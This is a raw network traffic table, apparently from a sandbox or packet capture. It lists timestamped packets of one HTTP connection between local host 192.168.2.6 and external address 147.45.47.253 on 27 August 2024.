Aug 27, 2024 20:12:05.473319054 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.473325968 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.473347902 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.473366022 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.473548889 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.473556042 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.473561049 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.473567009 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.473572969 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.473579884 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.473598957 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.473617077 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.554879904 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.554899931 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.554924011 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.554936886 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.554949999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.554963112 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.555012941 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.555023909 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.555035114 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.555044889 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.555048943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.555073977 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.555094004 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.555099964 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.555131912 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.555139065 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.555143118 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.555165052 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.555179119 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.555217981 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.555258989 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.555280924 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.555293083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.555304050 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.555318117 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.555324078 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.555362940 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.555692911 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.555733919 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.555762053 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.555774927 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.555799007 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.555814028 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.555869102 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.555881023 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.555898905 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.555906057 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.555912018 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.555924892 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.555941105 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.555954933 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.556021929 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.556046963 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.556058884 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.556060076 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.556071997 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.556082010 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.556098938 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.556112051 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.556328058 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.556340933 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.556353092 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.556365013 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.556376934 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.556380033 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.556390047 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.556401968 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.556401968 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.556425095 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.556437016 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.556438923 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.556453943 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.556478977 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.556571960 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.556583881 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.556613922 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.610809088 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.616121054 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.799401999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.799417973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.799434900 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.799472094 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.799493074 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.799529076 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.799549103 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.799561024 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.799587011 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.799604893 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.799702883 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.799715042 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.799730062 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.799731970 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.799757004 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.799782038 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.799998999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.800010920 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.800023079 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.800040007 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.800048113 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.800067902 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.800096035 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.800312996 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.800359011 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.800518036 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.800530910 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.800540924 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.800554037 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.800566912 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.800571918 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.800597906 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.800609112 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.800678968 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.800710917 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.800719023 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.800723076 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.800736904 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.800749063 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.800760031 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.800761938 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.800789118 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.800798893 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.800826073 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.800838947 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.800872087 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.801175117 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.801196098 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.801208973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.801218987 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.801219940 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.801232100 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.801255941 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.801285028 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.801351070 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.801364899 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.801378965 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.801399946 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.801405907 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.801417112 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.801426888 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.801431894 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.801453114 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.801477909 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.802000999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.802012920 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.802026033 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.802040100 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.802053928 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.802061081 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.802086115 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.802103043 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.802156925 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.802175999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.802186966 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.802205086 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.802222013 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.802499056 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.802515030 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.802525997 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.802536964 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.802551031 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.802552938 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.802560091 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.802571058 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.802584887 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.802615881 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.802648067 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.802659035 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.802685976 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.802709103 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.803025961 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.803080082 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.803183079 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.803195000 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.803206921 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.803219080 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.803230047 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.803231001 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.803241014 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.803251982 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.803257942 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.803268909 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.803282976 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.803283930 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.803289890 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.803296089 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.803307056 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.803328037 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.803340912 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.803680897 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.803690910 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.803734064 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.803842068 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.803855896 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.803867102 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.803880930 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.803890944 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.803895950 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.803922892 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.803941011 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.803971052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.803982973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.804022074 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.804194927 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.804244995 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.804354906 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.804367065 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.804383993 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.804395914 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.804406881 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.804409027 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.804419041 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.804430962 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.804435968 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.804444075 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.804455042 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.804461002 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.804475069 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.804475069 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.804491997 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.804502010 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.804505110 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.804517984 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.804529905 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.804532051 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.804547071 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.804578066 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.804677963 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.804691076 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.804697037 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.804728985 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.805344105 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.805356026 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.805367947 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.805378914 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.805397034 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.805402040 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.805413008 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.805442095 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.805476904 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.805489063 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.805495024 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.805506945 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.805517912 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.805524111 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.805552006 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.805565119 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.805635929 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.805649042 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.805660009 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.805671930 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.805677891 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.805684090 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.805694103 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.805696011 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.805711985 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.805740118 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.806416035 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.806427956 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.806438923 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.806473970 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.806483984 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.806560993 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.806574106 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.806583881 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.806596994 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.806607962 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.806615114 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.806618929 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.806643963 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.806653976 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.885786057 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.885798931 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.885854959 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.885962963 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.886007071 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.886037111 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.886048079 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.886058092 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.886080980 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.886097908 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.886224985 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.886238098 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.886269093 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.886281967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.886293888 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.886293888 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.886303902 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.886316061 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.886326075 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.886339903 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.886365891 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.886727095 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.886744022 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.886755943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.886769056 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.886782885 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.886785984 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.886794090 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.886806965 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.886842012 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.886895895 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.886907101 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.886918068 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.886949062 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.886959076 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.887058020 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.887068987 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.887079954 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.887093067 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.887100935 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.887115955 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.887145042 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.887315989 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.887366056 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.887418985 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.887424946 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.887437105 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.887449980 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.887455940 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.887482882 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.887509108 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.887527943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.887567043 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.887676001 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.887687922 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.887696981 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.887720108 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.887733936 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.887798071 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.887809038 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.887820959 CEST	80	49710	147.45.47.253	192.168.2.6
